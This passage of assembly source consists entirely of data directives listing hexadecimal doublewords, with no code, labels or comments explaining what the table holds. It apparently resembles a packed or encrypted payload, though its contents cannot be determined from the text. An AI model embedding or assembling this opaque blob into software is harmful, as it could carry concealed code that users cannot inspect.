0E62E560Eh, 0EE88D75Bh dd 5D446CE9h, 2C385944h, 0A0D82692h, 0B30B6713h, 0BA8257E7h dd 0F140B753h, 7E955BF9h, 0CFCB0823h, 0FBA5E19h, 68F90500h dd 8424B43Ah, 4DE12614h, 0DF3CB782h, 0BDD75398h, 4DA96880h dd 0E184717Bh, 701A933h, 0ACC7451h, 48EFF4B3h, 0D25B3630h dd 0B0525A1Ah, 80F3450Bh, 0BFC0576Eh, 1E4BE9F0h, 0BAFDBBC4h dd 88F500F4h, 15BB671h, 418BCB48h, 0E9462F08h, 0B41C6F7h dd 0CB035CEFh, 0DD0CEA55h, 31692959h, 7F689DB1h, 1A8EAA4Ah dd 5DBA205Fh, 8699FA01h, 4FD3DA0Dh, 0A7D80FD9h, 0DAFCBFD0h dd 15A0841h, 0BD55E450h, 506C16EDh, 4794AF56h, 0B2B8BFD4h dd 0C410D6C8h, 0E7FAEF40h, 9A6102E5h, 0FE1CE902h, 2C1A2B69h dd 2C1D176Fh, 914063DCh, 0DEDCF709h, 460ED890h, 0E3CFCA2Fh dd 98BE59EBh, 14D8FB24h, 0EF5F4010h, 5224773Ah, 96420C7Bh dd 0AF0BEA61h, 0DE086E15h, 8A08A052h, 6C7BDDC6h, 2C0AEF28h dd 0BB8FD516h, 0E37690Bh, 0C38245C8h, 25C263BAh, 95AAE84Bh dd 9957AF60h, 0E98309F9h, 2914337Bh, 0AD57F9h, 5AF40208h dd 2F1851BFh, 0B0D7FA4Fh, 9F781DFh, 347741BBh, 7A5F6982h dd 2FF6F472h, 4A406930h, 4CA775FEh, 0CB050223h, 0A4744A24h dd 6316DD29h, 0AE1271A0h, 0D08D102h, 8F87E042h, 0F7B73DEAh dd 2E163141h, 3BE9B890h, 12C4B7DDh, 27674658h, 0CB18DFA5h dd 0F19D1190h, 52AA6CEBh, 5E13A0B4h, 0A9A528BDh, 361A842Ch dd 2F7C5909h, 0C4635A82h dd 70090B1Bh, 0CEF56189h, 0BC85EA63h, 59D6EB1Dh, 0AE078358h dd 5F8F4342h, 0E69539BFh, 22480B5Dh, 0E106E054h, 59983D4Ch dd 0F7018193h, 1C71C0A0h, 0FF659E2Fh, 0FA31A584h, 0DC009EA5h dd 4B9AC2A4h, 3094814Bh, 6F520793h, 0CF18F585h, 189566FBh dd 5C5B03ACh, 0BE5ABD7Bh, 0BFE9F202h, 0C48F6843h, 6CF11407h dd 0E313BF5Fh, 8857D079h, 0F94BADD2h, 0C87AB5C1h, 2505753Dh dd 0FB191D9Fh, 2705F413h, 0E1FB3F6Ch, 0C007050Dh, 0F2790BA3h dd 0C2010217h, 9F056704h, 0D8CD811Fh, 86393E2Bh, 0E1427C54h dd 0C9C0BD44h, 201437F5h, 1FE96212h, 0CEBD1B03h, 5BE9EBE0h dd 24C6B427h, 0C7285Ch, 6A113805h, 0FEEE3503h, 91F1240h dd 0C4A7F2C7h, 0B8002E38h, 9E35E76h, 20270E97h, 12B44B0h dd 27E9F231h, 75F4D972h, 95719554h, 0CC0B54C9h, 0D3900CE2h dd 748EC0B7h, 1907272Ch, 80416F74h, 0A120C47Eh, 0ACBB4ACAh dd 3E0C622h, 0FCF29710h, 5820EE98h, 0C3283B70h, 0E5263FDh dd 8195DE88h, 0AEB8C837h, 5464B789h, 17D7C2FFh, 0E1142255h dd 0FA4B04E2h, 0A86F6BF5h, 52F94FF6h, 0B7D62E7Dh, 121A406Dh dd 0CF906D0Ah, 0E1F1D1Ch, 41265AEFh, 5BE13ED9h, 39BEBA45h dd 0B25481ABh, 48EA8015h, 4EE9D5C0h, 0FF1D84CFh, 0AFD528B3h dd 0A916EB97h, 0E90A8CBBh, 3112115Bh, 0B55BEF8Ah, 0C02D6B55h dd 7FCC887Eh, 5D489C92h, 894F7C85h, 0A5C41E91h, 1B53227Ah dd 51AE8BD7h, 0BB26624Bh, 52CBA3DFh, 5C0C27D1h, 99DD2257h dd 24AF7983h, 29D41707h, 0CB7DEC8Dh, 8BBF26C1h, 0B217A09h dd 2FC15CD6h, 2892086Bh, 0D702DD09h, 3100BF21h, 0D39768C8h dd 0ED4C081Dh, 0E2C28006h, 861C3A06h, 30D4F68Fh, 0BC5CE924h dd 0E1A34FDDh, 0AA75C492h, 7AAD81BCh, 58B21856h, 7009E9C9h dd 0B5A91C75h, 0F5C81BDEh, 48FDF127h, 0AFDCA5F3h, 3C7B417Ah dd 0A40FFB05h, 2C85A56Bh, 0F7D480BEh, 330905D8h, 82757BBEh dd 3993CCBh, 7C05F301h, 542306A6h, 92866BFCh, 51058F66h dd 0B625A168h, 0C10782FCh, 44E2ED11h, 0FDA6C289h, 2D5FE870h dd 99429FA5h, 0C78001F8h, 0CE1A20ACh, 0D00580h, 2D313A23h dd 69C259B6h, 79E2968h, 3111513Eh, 0B3D520F6h, 0EA2EC8B5h dd 4AB707D5h, 0E2D089ADh, 55D182F0h, 0D918B4BCh, 934FAD2h dd 9708B7F4h, 0F8F2077h, 0DF85691h, 24A1F269h, 0C22AF968h dd 4A357377h, 0A7E9580Fh, 5CB77570h, 6748E043h, 811C26C1h dd 0E84B46F3h, 362A001Eh, 130A1C1Dh, 33D396E9h, 983B5508h dd 782B13CCh, 3BEC8801h, 65707005h, 0B8677089h, 0C2BFB026h dd 59C80936h, 59E0AAC2h, 0C2E16ECAh, 0BD1D3CF7h, 0E950B2DEh dd 27A19E06h, 0F339AD56h, 16A5DE40h, 9A7E6ACh, 0DEF1AE37h dd 0D7C770AFh, 0AC2BE415h, 48ED8149h, 622D0383h, 0A8475D7Eh dd 0E4F4499Fh, 4A140B05h, 0C2225167h, 6E79657Eh, 86685502h dd 49DE5E3Dh, 1BBD407Fh, 1EF9BF10h, 4C37EA01h, 12820ADBh dd 36E94203h, 451D9A7Ch, 0DF147889h, 0E1980C94h, 49C5944Fh dd 2AAAEA53h, 4A14426Fh, 4742D021h, 2FFA2D3Ah, 80E8A212h dd 0A8E0CA3h, 5687FD95h, 9345A4DBh, 10B25BAEh, 5B559CA9h dd 0F6D30963h, 28F6E2Fh, 0EA80FC05h, 9E934437h, 0D78B24A7h dd 0F48727B1h, 39C7A87h, 4BA36E8Eh, 4613A405h, 0A682279Dh dd 50660021h, 801F0FB4h, 80CA3C4h, 5BB15EAFh, 9FAEC07h dd 6D92836h, 91A980Fh, 1937CE35h, 51D81000h, 780268B9h dd 2BE9DE1Dh, 0D74EA9C0h, 79FABC33h, 0BA2F0DDEh, 89436530h dd 25F865E9h, 6FC5BD1Ch, 0A229484Bh, 93AB179h, 252E445Dh dd 9E4E1727h, 78805695h, 92AB43E9h, 7858C6C1h, 94ACA71Ch dd 0A2AEF837h, 242D81CCh, 0A16101B0h, 0BC77D8DCh, 16DF4809h dd 6845C07Ch, 4AB62521h, 0B7755060h, 3B4CBF3Bh, 0D652C701h dd 6E5C178h, 9B38F531h, 5B29C580h, 599A7107h, 52809AE0h dd 0BD96BD54h, 0B51AFA2Eh, 0F7BA5965h, 2E9828Dh, 72587C59h dd 78DEF657h, 0EBB5BCC7h, 0CE459057h, 0D5F72D2Ch, 6802551h dd 0E97F9EAEh, 68294050h, 721E342Ch, 296746Bh, 55605C13h dd 0FF52D7h, 7E4C56B7h, 2C0A88BBh, 5B312B25h, 0FB290B3Fh dd 0A0CFC4D7h, 9ED47A29h, 544AD20h, 4AC42420h, 0FF99BA5Dh dd 1D828FF9h, 43B151ACh, 0CC09978h, 0D8B7533Eh, 9DCF2580h dd 0F71EFDFCh, 0E9AD81A7h, 0D050FADBh, 0A7737EDh, 0D5012328h dd 130820DEh, 0BD871FE9h, 0F8053BAEh, 5E153117h, 0A139ABBh dd 2EC7BAE9h, 0CD348E3Fh, 65C2DC02h, 0F57B436Bh, 8B258CFAh dd 0E9C5731Ch, 235EB057h, 2B89818Fh, 56C65682h, 0FCBB014Bh dd 6A28A82Eh, 90AF46C5h, 66259DFh, 0E8582171h, 0A9837BE0h dd 0EC347EC0h, 95A25D7h, 4EE14A57h, 976F2E74h, 0A81DC5D0h dd 0B1B80756h, 777B26E7h, 88F17F6Ch, 1AB369Bh, 7116702Dh dd 6A107E59h, 665A2D07h, 61B59ACEh, 47E9094Eh, 0BEFB54C3h dd 165017CAh, 587B40CBh, 0D788B09Bh, 32A927E6h, 593BA477h dd 0E91621CEh, 832FC12Dh, 0B5C830EAh, 3ADDB40h, 7E07BB53h dd 4A0010F8h, 0FC0B1F97h, 172CF22Dh, 10012096h, 8F4C0771h dd 7F2EEF1Eh, 0EAC9E993h, 7555E129h, 68C2A4A8h, 0B5A22E17h dd 21770572h, 55714764h, 1E11B20h, 60C350E0h, 6CA7A2E9h dd 0E76883F9h, 9DBE851Ch, 0CD960C5Fh, 0C5835912h, 0E80E9509h dd 3CA6F7FEh, 47B07A19h, 85F4CA0Eh, 7BE9DC09h, 2FBAF50Dh dd 2D4ED2F5h, 0D6C668F9h, 7CEDE65Fh, 0FD7C0427h, 0EF2EA371h dd 40BF8256h, 71BAB942h, 7A952128h, 0A9A44ED8h, 582247BEh dd 685102A0h, 7F595B87h, 0F1013767h, 761F5F3Ch, 1C9FC2Bh dd 77CD1C3Bh, 3A38F0E9h, 43D3F70Ah, 2E7039E3h, 2A020D0h dd 68AE4B6Ah, 88728D5h, 2235142Dh, 40BF25E9h, 0EA131583h dd 93C86B31h, 127ED504h, 0EFD789FBh, 0C6A9D3BAh, 59E3095Fh dd 0EE2F3FDBh, 0FA27635Ah, 2F62C61Ch, 17DC7CF2h, 8ECEF7E9h dd 0A8A0E0E6h, 33714FBCh, 0DB898CDh, 6B08BA40h, 0BA3CF441h dd 4DFC97C8h, 5961C298h, 4CA8EE57h, 0BA9ABB54h, 5BA71C75h dd 8091AC5Ch, 7A6B2DADh, 55900F3h, 290727D1h, 7D60A5E9h dd 6872B220h, 0F94ABA1Ah, 207EE4FDh, 32332A62h, 8A05196h dd 4D87E916h, 1E94E690h, 240E7B88h, 50A46654h, 105AD468h dd 3D300630h, 0E9221601h, 5A1B8288h, 975695F4h, 8B26B46Eh dd 309590A8h, 0E1E84F92h, 0CBA382A4h, 854EBABh, 4F275A02h dd 0FC71F52Fh, 0C60FD268h, 0DE31AB7Eh, 1100937h, 7E02A8Ah dd 6073A361h, 5655E2CFh, 90EF44C7h, 249FA43h, 11BA610Ch dd 317F010Bh, 0D0E28713h, 78E9F8A8h, 0BB48BF32h, 6B007EE3h dd 82E28123h, 0C2509F08h, 87740D9Ah, 0C13600FDh, 5C010639h dd 0C420E542h, 0CB676B7h, 8C0626EBh, 88D8282Eh, 39FA6793h dd 0EFDC2A24h, 0F67B4A94h, 1A839797h, 0BB1D5ACDh, 7818AE2Bh dd 5D1E5D7Ch, 6BEFA9Ah, 0E2EE8100h, 27340301h, 7310F031h dd 0B1CF7DBAh, 3B2962EAh, 84E86002h, 1D762548h, 0F901045Ah dd 0E996C880h, 19405C11h, 2DFA45B7h, 94E2294Bh, 0A21C080Ch dd 60A86216h, 193463F6h, 8F8AEFF7h, 69859042h, 0B59CCBBh dd 3EAD2C5Ch, 7D4AF5C8h, 0CBBBCF85h, 0E9FA0444h, 80908BDCh dd 5BD22B3Fh, 17F8749h, 0D87A5F10h, 231351F5h, 0E1B8B2DAh dd 9E620B9Dh, 0D4E11C1Bh, 5E446B90h, 560F934Ch, 0AB242B89h dd 0C8B2FA5Ah, 2A31FEC8h dd 0A00544AAh, 146008A2h, 5591BE45h, 0C17939EEh, 0F16C06B2h dd 580A7F0Bh, 3F98004Fh, 0D1013531h, 0EB266ADDh, 87BA305Bh dd 0B532282Eh, 0D0BB3E4Ah, 0C76858A0h, 3C856995h, 5F2B76Eh dd 99B06E7h, 0FFA0B60Bh, 5625806Eh, 50D9DC46h, 749FDD27h dd 6911E2B6h, 7E801C5Ch, 21389CFDh, 7A2B7EEh, 0EAD64228h dd 12B9688h, 2C46CF68h, 0F005E83Ah, 0C32DEAA8h, 17A2491Dh dd 0FC10897Ch, 12B4261h, 0B2ACE907h, 4BC8CE2Bh, 7204DE1h dd 8D740205h, 0C043E948h, 441A7E5Dh, 805ED483h, 0CF514A32h dd 0C6BA2500h, 0E955BDBEh, 0CD206078h, 0AE0F7BC3h, 4EC90B4Ch dd 0F78414F8h, 3EF38AADh, 0AFDB1352h, 0EBA535E9h, 0A63AFA2Dh dd 0D40C7C10h, 0C2E0114h, 0D52216F5h, 0AF95123Ch, 1F123B53h dd 0ADC6F8F2h, 6812D4BEh, 2CEF64E4h, 4144F75Bh, 805AB7C1h dd 1CFA25B0h, 3DDA511Dh, 0A5C10357h, 2330D831h, 2030974Ch dd 0AFD28568h, 5B6FDEABh, 0E90A6CEAh, 7E1BF52Dh, 0F52DE50Ch dd 0B4C26E46h, 277E76AEh, 0E927E11Ch, 0DCB8C263h, 0F7480422h dd 87AD81D8h, 2B0AF909h, 5EE730E0h, 20A7DD34h, 0A4B2A7Dh dd 7E0CA276h, 0E3492788h, 7D687F98h, 59E36353h, 0A1F4C9Fh dd 0D15B746Fh, 5EB50720h, 5F535899h, 5092CDB8h, 21F1620h dd 80E7B551h, 0E05777F5h, 0BBBC55Fh, 8E06E953h, 0A5F314C6h dd 2C7E64A7h, 12808025h, 46D4C730h, 0EE09D1C8h, 2C4418Dh dd 572A8349h, 97FC7D9Ch, 0FCEB75Bh, 16638D50h, 5B697229h dd 0F8FA0DADh, 98385C78h, 10C1D3Ah, 0D8169AA4h, 284BE9EDh dd 0E32768C0h, 9C4C526h, 95A9CFE9h, 0BD7D4CF5h, 0F5800BD6h dd 0E91FFAB9h, 0CFA95DA2h, 55D112h, 72C5B19Ch, 0DD2F8957h dd 0B2AF435Bh, 0CA9CD5CEh, 0B8306A16h, 5CDD0FA0h, 291A9B2Fh dd 8081CF1h, 78640A99h, 0A5F9071Ah, 18F78B3Bh, 97C82E55h dd 4445517Ch, 72CDAA0h, 346866A5h, 0E6724B46h, 0C0AAB405h dd 0EB0903E4h, 1779D6A4h, 98C0E366h, 0BAEACC80h, 3BBF0E0Ch dd 5BF50A2h, 8038A851h, 0BE20AC62h, 0C501251Eh, 58085039h dd 285294Bh, 2C87DEAh, 0AEF4625Dh, 200EC280h, 7D31A9FEh dd 44B525D5h, 0C64D8FE6h, 2D58000Ch, 71045391h, 0BC620B35h dd 2743C93Fh, 2792DE34h, 926287BEh, 0F652C007h, 54ADF994h dd 32AF2B31h, 90F0F2F6h, 0CA0151B7h, 495F1030h, 0A7B24A21h dd 0B0F9E985h, 0A003B818h, 3179E241h, 9D9812C7h, 4ACAB2A4h dd 0D7BE4ECh, 5C9B190Fh, 0B5AC2A0Ch, 0AC2AFA41h, 840A58C1h dd 0F6BFB6CCh, 682F7B00h, 14A72076h, 9A63301Ah, 8FEC2F5Bh dd 0B0419F6Ah, 0BBF56EC3h, 123C38F9h, 9602C84Fh, 0FD5B4297h dd 0E65A74F1h, 0B5E97ED5h, 0C5C39BA1h, 0EC4FDD74h, 0BA01A57h dd 0F333F851h, 95DD6E13h, 0A91BC88Ch, 0A93EAD97h, 25E9B1ACh dd 0BE1DC57Bh, 21B4FBE3h, 2E5A7894h, 0F302488Ah, 0C107BBAFh dd 11EF6940h, 0A679E328h, 1AF835ECh, 0E9FD0104h, 0D81D92DEh dd 4EFC2AF5h, 0E025D826h, 12076F08h, 8065A030h, 12C2EA3Eh dd 7E9155DFh, 0B48E08E3h, 120BFD9Eh, 5100D27Ch, 601EE0B9h dd 0F148B72Bh, 37BCB0BCh, 72EF870Eh, 602009EAh, 8FB8A940h dd 14920E0Bh, 186D609h, 0D86F5DF7h, 6F803A15h, 9748CA68h dd 100476C6h, 120990Fh, 630E470Bh, 18A6D783h, 72C1DE4Ah dd 0B0CDD9A9h, 0C5ACB87Ah, 0B7FEA195h, 69216AF2h, 77D56309h dd 9ABF8CE4h, 69BFF9CBh, 849A2393h, 7224500Bh, 57093E4Ah dd 0C99E5D77h, 734C802h, 3AE05B4Eh, 0AC5F7893h, 0AD7AE1B1h dd 3FE90BC5h, 9DFBE603h, 0D25B6ADCh, 2D5D7EBFh, 2FD6145Fh dd 0C0F1B0DAh, 33ED8F96h, 0FA305712h, 8E90960h, 98059284h dd 2AE69B41h, 7FF2E7F3h, 0E9415DF1h, 0A5637D55h, 0BE28EB4Eh dd 14387271h, 0B46C3162h, 2B9BE9CEh, 8174BEA9h, 0CF02D44h dd 49D47C2Fh, 42EB855h, 1D59A105h, 0C0608065h, 0D8981856h dd 0B135C98h, 13AE0ABDh, 5A1E82F9h, 7FA7BAFFh, 48FD7AA2h dd 9EB88898h, 1BD40E03h, 266CF8E9h, 1373AC1Ah, 3F0529B4h dd 0F507A3F6h, 0E1AF7B5Ch, 2C7F3E9h, 826AD601h, 1AD46236h dd 16C4AD7h, 53B6E908h, 0E0632CA5h, 912D93C1h, 0F65F3FFFh dd 382F10C3h, 238A3503h, 66D27F51h, 519889DDh, 0C9721E04h dd 0BB8EA787h, 488635A6h, 3935BE9Fh, 7B5CCD31h, 0B3339616h dd 360B1300h, 4816CFE3h, 0E047FCB1h, 2458DEBAh, 774091h dd 63D948E3h, 0C05F41E9h, 22176227h, 46FC1EA2h, 868160B8h dd 3C7307DBh, 40478F1Eh, 0A1106B4h, 0AAFC5A85h, 6F99E9F1h dd 572928C2h, 962D1D6h, 0C18600FDh, 0E7B8D1F6h, 2E3A065Ch dd 0C2459F97h, 0CD26C8AEh, 943F9D41h, 0CB7FE39h, 2AB1A293h dd 0E913C5B9h, 0E0277E9Fh, 5AC57C73h, 51690152h, 0F0058528h dd 0D883311Dh, 3D79B4F1h, 23A5163Eh, 8B02BE0h, 9D5FAEEEh dd 0B04F36B3h, 323CFB3Dh, 12A9CA8Eh, 1301CF0Eh, 785A56F8h dd 45685581h, 5D1CC509h, 8E8EC2D7h, 0A8647E57h, 0A6135D26h dd 2B7E40A1h, 74A44A41h, 680340BDh, 0F3596437h, 28BBA4C4h dd 319514F5h, 8D25BACDh, 21D67092h, 218A76Bh, 32D2DF53h dd 684BA588h, 0D2143F24h, 51E7FC0h, 9084A312h, 2D77442Eh dd 5B7CE7D1h, 1E6CA28h, 0F3F8179h, 67E05B3Fh, 0F313042Fh dd 0C04E461Eh, 47487ADDh, 0F0930E4Eh, 0B160506h, 0F5C4A183h dd 2AABD513h, 4BEAC4CCh, 0A6F9048Dh, 3DCABE58h, 6A32A360h dd 68123F84h, 30FF5980h, 5F4DBA76h, 4CB82FF4h, 0C14EC9BFh dd 0AE51876Eh, 0CF04CDCAh, 0C8341477h, 6A1E09D3h, 8FBF9AE0h dd 6CC24E12h, 0EFD10505h, 770E8D96h, 0C02F0981h, 0E1ACF0B1h dd 0E00E780h, 554A43F1h, 2F41B3BDh, 73D81C03h, 72D2E92Ch dd 3B15FFACh, 8DB71FC2h, 72A5164Bh, 9AE09A0h, 48842E54h dd 0A08013C7h, 0BF32B068h, 6ADD179Ah, 0E4735F65h, 13A93395h dd 38BE64E5h, 922D6846h, 2FF55B1Fh, 0BD0596F7h, 2020C646h dd 0D6DABD3Ah, 66D95955h, 0C08417C4h, 3F79790h, 5FFE8044h dd 0B7A2FCh, 2530BDF5h, 0F236619Ch, 350E129Bh, 0D42F06Bh dd 0C66D5Ch, 7CD67DAFh, 0CC4B9BE9h, 0F6FC8699h, 5B0BD267h dd 0EE80DE90h, 35C048FFh, 0E088FE76h, 2D5A70F5h, 1A7D59EBh dd 672F8496h, 19000912h, 58924D47h, 7810BFA6h, 247B48B0h dd 5F92B6F3h, 63C70640h, 0B84C7A69h, 5E8B401Bh, 0F205D8BFh dd 0DF5F487Bh, 6C7E01A3h, 0D1791B29h, 0C2D127BCh, 99515573h dd 7CA497E2h, 0CD552C7h, 2F5EB21Fh, 0BF68948h, 0FC2F1C28h dd 668EF745h, 0EF120760h, 0F12DE909h, 0A2DD2E46h, 7C33D561h dd 75273F94h, 0DA88A400h, 0D7E8595Bh, 8F605A5Dh, 536825F6h dd 0A2AEA512h, 0CA429D87h, 5FCB7AE9h, 0F680C11Ch, 0D06037E9h dd 3FD6CBAAh, 0A9244F71h, 5FE10C7Ah, 18ABD3A7h, 0C009C064h dd 0A9306B80h, 40A50C79h, 0E9250C07h, 0E389AAE4h, 742B32C0h dd 3A507E21h, 0EE9240B8h, 6AC0BF49h, 91520E5h, 0E8E93656h dd 2A895F61h, 0AAD635F2h, 0CCBFA417h, 794AE97Eh, 41544FC2h dd 0B22BA088h, 3D169F49h, 0DBF62C40h, 0F40EC380h, 0D1F45A4Bh dd 7F880BDFh, 31684961h, 83B751EEh, 456440F6h, 9327D03Ah dd 80AA33F8h, 24D5F3DBh, 3E769C24h, 956CCC04h, 89066A8h dd 0CA8AE90Ch, 0D1778768h, 2F18FC4Dh, 4EE6145Dh, 4A34CA58h dd 12D7BF98h, 0AA740AE9h, 0ACBEF370h, 0C919EC30h, 444670C4h dd 0E5449602h, 42EE292Bh dd 5F9D24E3h, 92EBE3ABh, 0E9DF3C70h, 0D2C55A36h, 89D00836h dd 6FF241B5h, 6BC2E52Ah, 2D043AE9h, 0C31D8874h, 0D48291Fh dd 0E65B2460h, 9669F4CBh, 2B39AA89h, 0D8E9DF84h, 250E91Eh dd 1819A105h, 95BA701Ah, 9F0594D7h, 4F462B56h, 0D0F69F4Fh dd 9192047Bh, 8368C302h, 75003D0h, 79D35967h, 493344Eh dd 21E0F8CCh, 4B4B5115h, 2D18D330h, 895D7850h, 0C20D9E1h dd 21E0B80Ah, 6014F89Dh, 5E2C36A1h, 8690885Bh, 4E5C005h dd 4EFCDFEh, 1296CEA4h, 0E28209AAh, 0BBFC0582h, 0C5895501h dd 445DCACBh, 0F789D19h, 92E5EA5Eh, 4D16D5CAh, 0F8305813h dd 4BD99A0Dh, 399FA728h, 3CB266DCh, 61702DF6h, 0D3FBC352h dd 996DA31h, 8BEF32FAh, 0D5F3865Ch, 501CB766h, 0DAA8D888h dd 0FE5C8A3Ch, 0AD62E97Eh, 0BAD50130h, 65F47E59h, 98A517C1h dd 3A9CC80Dh, 0C3215804h, 8299C8F0h, 60A3C800h, 292617F2h dd 405A2AFAh, 254C5949h, 0A87E5A31h, 0EB0C5C28h, 0DA0D1A05h dd 9004EEC1h, 773101F2h, 99E920A9h, 5B3E97A3h, 91C28C09h dd 0B2A9F46h, 0E6F54176h, 1FABECE2h, 64EF3246h, 24A802E3h dd 3CE1606Fh, 82CF3CAAh, 0DF324E68h, 6E360FB4h, 918534Eh dd 52DA49AAh, 782DCF8h, 681C76FAh, 7D256FC0h, 57A7E0CDh dd 0EE097C22h, 0BD33165Fh, 368023D9h, 55136807h, 8ABC33E9h dd 734C5A22h, 0F10D2DDFh, 888D482Bh, 3B2C930Fh, 1F654408h dd 0E82843B5h, 82A45966h, 8BFD294Ah, 2DFA6D83h, 5E4B5359h dd 0FB401269h, 27883FC8h, 0B85659CFh, 0AFB7457Ah, 0E910A636h dd 57276A03h, 0B93CA075h, 4B590460h, 202A906h, 0BA85694h dd 8524049h, 0B716C341h, 82F453CEh, 0C79B88F9h, 0F780F5E0h dd 0ACF66B26h, 1C7F1208h, 34514505h, 0B2AB2273h, 0DD35D0A0h dd 0AC5FB3A1h, 0EC4AEEF8h, 5F00E5C7h, 6C701277h, 25562568h dd 620BCEC6h, 5F218E7Ch, 6196EE90h, 0E9126DF4h, 74AEB454h dd 3039D937h, 3319A90Ch, 0B72E19FEh, 0EFC5EE04h, 0A97A5969h dd 0D71C93F8h, 5FFD2FF0h, 586109BAh, 0CA423E2Fh, 0F42D67F6h dd 6455521Eh, 0BA3B2F6Bh, 0A7B2A94Eh, 6B975BFCh, 0C824B782h dd 4E6836B4h, 0B51136Ch, 49E7FCF5h, 0A74B803h, 96BB9894h dd 0F9950AF6h, 2DE6C301h, 0F55650Bh, 6031AE80h, 762CD5C6h dd 766E7004h, 7953E8F0h, 0C4E92FB7h, 0DEBF12E0h, 9BD9B616h dd 13D78001h, 0CAF50FCh, 682810FEh, 0C52BC05h, 0EE292Fh dd 24537133h, 0D05406Dh, 60F6674Fh, 0B02DEDE9h, 5168C760h dd 25B53513h, 2D3F0ECAh, 0FE1C3134h, 0B85AC6A6h, 0F005C9F3h dd 4A81EA1Eh, 28D9AE6Bh, 0B5A0F041h, 0C178246Bh, 6A6F3248h dd 0EB88FC71h, 0C0AE0B70h, 56D2F744h, 7504D9BEh, 0EED1604Dh dd 4E43380h, 0F08FB8C8h, 0D50D18A4h, 0F4B61855h, 1FB4F8EEh dd 7335E905h, 0F55E03E9h, 82A2EF31h, 6A9D8E48h, 597F3E27h dd 342269A2h, 0D3D6A2D3h, 76C202D1h, 77DCE9ABh, 0C277C6Bh dd 0EF878AFBh, 807DD917h, 7EEBE400h, 0A0516445h, 5F10E9D5h dd 6A2CB4B9h, 5FF7E640h, 0A7B108DEh, 0BBA55A16h, 5D0298C9h dd 50300A7Eh, 7F7F4E4Dh, 0BD342D14h, 99591CD5h, 7F2C0C2Eh dd 880FBFDBh, 657DA273h, 99AEAEBAh, 0FACC1410h, 4588B1DDh dd 0BE037221h, 8480714Fh, 8382D4BBh, 8CA4D642h, 7F0F6888h dd 0AB17C41Fh, 1C30F592h, 4A979A3Dh, 0B781C11Ah, 60405202h dd 2E716191h, 0D99BA05h, 0AC904BDBh, 1617CA81h, 0AE551201h dd 0F2876402h, 75AAE2E9h, 6C2D50ECh, 21A0F76Eh, 4B3946ACh dd 27185297h, 0F6FC96A2h, 7F7066EFh, 0D9294834h, 2792BF10h dd 8216F559h, 1A02EDECh, 2939DF21h, 0CDC25DC5h, 0FA0ED79h dd 8C9E49B0h, 47806F6Ah, 0F5295322h, 0D5D9B75Eh, 3161A7A6h dd 0A23A59CDh, 0BD551786h, 2B29909h, 4A080CE4h, 0EE6B5569h dd 152C7FF3h, 69171B5Ch, 29050B35h, 5E8A6E05h, 9F1445Eh dd 8052E27Bh, 315FD2E6h, 0E9A3BD3Bh, 567BD42Ah, 895F48B5h dd 72089C7Fh, 0C2FFD975h, 0C3509BE9h, 48B0BF07h, 71A573D6h dd 0C0DC3A0h, 77F441ACh, 879E6028h, 0CC093045h, 0FFC129EAh dd 0DE448001h, 0F9FB7103h, 90EE6358h, 0A4D38C43h, 0E4E9169Ch dd 76E2F9F4h, 0F7CEF2B7h, 0FBD3ABF4h, 130A52ACh, 4B39AC28h dd 400669FBh, 0E11BDAC4h, 2423235Ch, 0B1C28167h, 49487B42h dd 2BC38F81h, 0DDE02A94h, 6BD42C41h, 5AD0091Bh, 0B911A287h dd 885CC7FFh, 2D0168C4h, 56B006B4h, 6FE4A16Eh, 8B123384h dd 0CADAF0EBh, 5F813F5Bh, 0EA965D1Dh, 0ECA456F1h, 74BA840Ch dd 0BF0362E2h, 5D3334D6h, 389BD4E9h, 848B4E91h, 1D166809h dd 0AF3E7Ch, 9FF38165h, 3195281Ch, 51340191h, 4CE9104Eh dd 0F7798945h, 75E457D3h, 29CF6815h, 0F7AC899Fh, 6444E89Ah dd 0B965C4Dh, 7E1C1868h, 0D051645Ch, 7322A421h, 1C895F26h dd 33B4B900h, 24413EDBh, 92ED90E9h, 0E938BF29h, 0BACDC010h dd 54414451h, 4DEA8118h, 496EE90Dh, 0A65F9E30h, 45557B81h dd 3268FC56h, 48D5751Fh, 948B4D8Bh, 0E768173Ah, 30AE650Bh dd 4FA2C229h, 0F50BC62Fh, 2408AE88h, 1B9EAD45h, 0A49294h dd 5A166710h, 3E47FD53h, 0C12F2C5Bh, 2FB25996h, 2487E697h dd 0C90910C1h, 0C9A27C28h, 6525B5D1h, 59554906h, 185C4E29h dd 0CCFE9CE5h, 0B5516601h, 40EC806Fh, 75B4EC2Eh, 0C6987490h dd 4F317840h, 92F1F2F8h, 1228B7EFh, 6749D7F7h, 65A5845Fh dd 3CC8D9BBh, 0F67E0B25h, 73107D33h, 0BA0C681h, 36276859h dd 77A921Bh, 0AB93A894h, 64CE0646h, 0C636F50h, 0E6150C17h dd 0D4DBD905h, 0CE5A2BAh, 44430AB0h, 0C15D16EBh, 0D3A606E3h dd 0F797064Ah, 0D97C292Ch, 36106816h, 2E5167D1h, 69E5DFC2h dd 4345E961h, 4290B732h, 88548505h, 4E64E867h, 3D35644Ch dd 0FEA44BB2h, 0B3C30191h, 957C02F8h, 41903846h, 69057D2Fh dd 177A5084h, 0DA4CED34h, 0FBF0F52Eh, 0DFA9EFE8h, 0E74CC61Bh dd 3E7A4158h, 2714A54Dh, 9672C2B4h, 51D77C85h, 29473468h dd 862DC677h, 271F5266h, 0EB98B18Ah, 0CEB76341h, 0DA80CBFDh dd 57765558h, 0D0C07E5Ah, 0B61C6F09h, 0C1534BB5h, 432B6804h dd 2620CA8Dh, 2847244Ch, 871313E3h, 0A402A9ADh, 0ED41445Dh dd 0D9A124B2h, 82955B5Eh, 0B6943285h, 0EC4EBFF9h, 8F2AB917h dd 816813DFh, 7A8AF6AAh, 715D532Dh, 9DB6865h, 887EBB36h dd 97595470h, 5769AFDBh, 2F2B05C5h, 42446804h, 0E9080BF6h dd 0BA241708h, 8E16572Fh, 9A094D25h, 0F9D85596h, 0A647E918h dd 393BBE1Ah, 2D7AC40Dh, 0B4D945C0h, 3958BDC0h, 0EC2B019h dd 6F0D26E9h, 0C915F385h, 3C65FD7Eh, 0B9A85EE7h, 0C8130FACh dd 4A521CE9h, 0AC0C855Eh, 24F6958Ah, 2C131B1Ah, 803117D6h dd 3954ED3Ah, 794B553Bh, 0E82C2D0Bh, 258B60D7h, 80F5C514h dd 0C0B3BC1Fh, 2E6F7B83h, 25BE59h, 4EC2F181h, 58FE6066h dd 0C1C79BBDh, 8767032Fh, 608C790Bh, 65883140h, 7E119A2Fh dd 7B1002DBh, 8F4146A6h, 9C882F60h, 4B8FF253h, 0D88A40F1h dd 5298A6DBh, 0F6BDF2FEh, 9A555A33h, 